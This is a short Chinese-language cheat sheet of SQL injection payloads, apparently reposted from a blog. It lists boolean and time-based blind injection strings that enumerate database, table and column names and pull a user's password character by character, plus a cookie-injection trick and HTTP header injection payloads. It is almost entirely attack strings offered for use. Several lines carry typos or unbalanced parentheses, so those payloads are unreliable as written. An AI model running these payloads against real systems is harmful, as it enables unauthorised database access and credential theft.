便于手工验证时自查,payload不唯一,根据需求自行调整(结合数据库名、表名以及绕过方法等)
基于布尔看页面返回情况,基于时间看页面返回时间
and if(1=1,sleep(5),0)#
and if((1=2,sleep(5),0)#
1‘ and (length(database()))> 5#
1‘ and (ascii(substr(database(),n,1)))>97#
1‘ and (select count(*) from information_schema.tables where table_schem=database())>5#
1‘ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#
1‘ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100#
1‘ and (select count(*)from information_schema.columns where table_name=‘user’)>5#
1‘ and (select length(column_name)from information_schema.columns where table_name=‘user’ limit 0,1)>5#
1‘ and (ascii(substr((seclect columns_name from information_schema.columns where table_name=‘user‘ limit 0,1),1,1)))>100#
1‘ and (ascii(substr(( select password from users limit 0,1),1,1)))=68#
用于get型注入被过滤时
javascript:alert(document.cookie="id="+escape("123 and 1=1"));
参考盲注payload
HTTP头注入
(select (sleep(5))))#
(select sleep(5) from user where substring(user,1,1)=‘a‘))#
原文:https://www.cnblogs.com/heniu666/p/14322977.html